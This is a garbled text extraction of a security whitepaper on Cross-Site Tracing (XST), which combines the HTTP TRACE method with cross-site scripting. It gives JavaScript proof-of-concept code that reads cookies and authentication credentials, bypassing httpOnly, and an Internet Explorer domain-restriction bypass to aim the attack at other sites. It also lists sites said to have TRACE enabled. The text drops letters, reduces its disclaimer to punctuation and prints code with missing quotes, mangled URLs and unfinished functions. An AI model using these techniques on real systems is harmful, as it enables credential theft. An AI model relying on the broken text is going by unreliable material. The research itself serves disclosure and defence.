Cross-Site Tracing (XST) PDF
Cross-Site Tracing (XST) PDF
Cross-Site Tracing (XST) PDF
TRACING (XST)
THE NEW TECHNIQUES AND EMERGING THREATS TO BYPASS CURRENT WEB SECURITY MEASURES USING
TRACE AND XSS.
Jeremiah Grossman
//
Warranties and Disclaimers
,
, , , ,
, -. , ..
,
.
, . ,
, ,
, , , , ,
,
.
.
;
. , . /
(), (), / () .
Overview
October 23 2002, Microso issued a press release describing a new browser/server based
protective security measure within of internet explorer 6 sp1. is new feature, dubbed
httponly, helps guard http cookies against xss (cross-site scripting) attack. WhiteHat
Security, heavily focused on web application security research and technology, began to
investigate the feature in order to determine what it meant to web security. First of all,
anything that attempts to help prevent the xss plague on the web is a good thing. Most of
us in the web application security field already know the great pains required to prevent the
ever-present existence of xss issues.
Aer much security review, I posted to bugtraq stating that the new httpOnly security
feature, which is nicely effective for the intended purpose, is limited in xss protection scope.
Limited in that the security feature only prohibits the exposure of cookie data through the
document.cookie object. However, Microso has taken an excellent first step in the right
direction to prevent xss as a whole.
A week later into testing of httpOnly, WhiteHat staff discovered a new web security
attack technique that is able not only to bypass the httpOnly mechanism present in i.e. 6
service pack 1, but in addition the ability to xss just about anything from just about
anywhere. is technique allows client-side scripting languages, such as javascript, and
possibly other client-side technologies like vbscript, flash, java, etc., the ability access http
web authentication credentials, with the added bonus of achieving this result over ssl. is
ability has never before been previously possible. ese new exposures will be explained
with detail in the proceeding sections to illustrate the concepts.
Background Information
TRACE Request Method
Trace is used simply as an input data echo mechanism for the http protocol. is request
method is commonly used for debug and other connection analysis activities.
e http trace request (containing request line, headers, post data), sent to a trace
supporting web server, will respond to the client with the information contained in the
request. Trace provides any easy to way to tell what an http client is sending and what the
server is receiving. Apache, IIS, and iPlanet all support trace as defined by the HTTP/1.1
RFC and is currently enabled by default. Very few system administrators have disabled
this request method either because the method posed no known risk, default settings were
considered good enough or simply had no option to do so.
e following is an example of a TRACE request:
$ telnet foo.com 80
Trying 127.0.0.1...
Connected to foo.bar.
Escape character is ^].
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
HTTP/1.1 200 OK
Date: Mon, 02 Dec 2002 19:24:51 GMT
Server: Apache/2.0.40 (Unix)
Content-Type: message/http
TRACE / HTTP/1.1
Host: foo.bar
X-Header: test
As shown in the example, the server responded with the information sent by the client to
the server. What sites currently have TRACE enabled?
www.passport.com
www.yahoo.com
www.disney.com
www.securityfocus.com
www.redhat.com
www.go.com
www.theregister.co.uk
www.sun.com
www.oracle.com
www.ibm.com
(Many other web sites)
function httpOnlyCookie() {
document.cookie = TheCookieName=CookieValue_httpOnly; httpOnly;
alert(document.cookie);
}
//-->
</script>
<FORM>
<INPUT TYPE=BUTTON OnClick=normalCookie(); VALUE=Display Normal Cookie>
<INPUT TYPE=BUTTON OnClick=httpOnlyCookie(); VALUE=Display HTTPONLY Cookie>
</FORM>
Code Example 1.
<script type=text/javascript>
<!--
function sendTrace () {
var xmlHttp = new ActiveXObject(Microsoft.XMLHTTP);
xmlHttp.open(TRACE, http://foo.bar,false);
xmlHttp.send();
xmlDoc=xmlHttp.responseText;
alert(xmlDoc);
}
//-->
</script>
Screen Shot 3: Results of the TRACE request response from the server. Note the cookie
string contained and accessible by means other than document.cookie.
e above code, using the ActiveX control XMLHTTP, will send a TRACE request to the
target web server. e server will then echo, if it supports TRACE, the information sent
within the HTTP request. Internet Explorer will send general browser headers by default
that will be displayed via a resulting JavaScript alert window. If your browser happens to
have a cookie from the target domain or is logged into the target web server using web
authentication, you will be able to see your cookies and credentials present within the alert.
is technique successfully grants the code ability bypass httpOnly, while accessing
cookie data without the use of document.cookie. We now have the desired capability to
pass sensitive credentials off-domain to a third-party. Also as stated in the overview, the
ability to access web authentication credentials not before possible using client-side script.
To restate, all the sensitive information is still accessible even over an SSL link.
It is important to note two things at this point. e first is ability to do these types of
request using a web browser is NOT limited to Internet Explorer. Other web browsers such
as Mozilla/Netscape possess the ability as well. Specifically, TRACE requests have been
achieved in Mozilla using XMLDOM object scripting. e second, XMLHTTP, is only one
of several ActiveX controls and other technologies, which appear have this control over
HTTP within a browser environment.
ere is however at this point a limiting factor preventing wider a danger escalation. e
TRACE connection made by the browser, will NOT be allowed by the browser, to connect
to anything other than the domain hosting the actual script content. A foo.bar script
domain will only be able to TRACE and connect to a foo.bar domain host. is is a browser
implemented domain restriction security policy. e domain restriction policy helps
prevent XSS and other similar attacks from occurring. is technical exploit limitation
does prevent further abuse, however, this hurdle can be bypassed as well as shown below.
To increase the exposure of the exploit, we are in need of a domain-restriction-bypass
vulnerability within Internet Explorer (or web browser of choice). As it turns out, these
issues are quite numerous and can be commonly found posted to public resource forums
such as bugtraq. Recently and currently, there have been known unresolved issue with
the IE Domain Restriction policies. ese un-patched Internet Explorer 6 flaws, allow the
ability to bypass the domain restriction security policy, and increase the overall severity of
the problem. is IE issue uses the external browser flaw in the caching mechanism. And
was first identified by GreyMagic Security.
<script type=text/javascript>
<!--
function xssDomain() {
var oWin=open(blank.html,victim,width=500,height=400);
var oVuln=oWin.external;
oWin.location.href=http://foo.bar;
setTimeout(
function () {
oVuln.NavigateAndFind(javascript:xmlHttp=new ActiveXOb
ject(Microsoft.XMLHTTP);xmlHttp.open(TRACE,http://foo.bar,false);xmlH
ttp.send();xmlDoc=xmlHttp.responseText;alert(Show all headers for foo.com
including cookie without using document.cookie \\n + xmlDoc);,,);
},
2000
);
//-->
</script>
<script type=text/javascript>
function xssDomainTraceRequest(){
var exampleCode = var xmlHttp = new ActiveXObject(\
Microsoft.XMLHTTP\)\;xmlHttp.open(\TRACE\,\http://foo.bar\,false)\
;xmlHttp.send()\;xmlDoc=xmlHttp.responseText\;alert(xmlDoc)\;;
</script>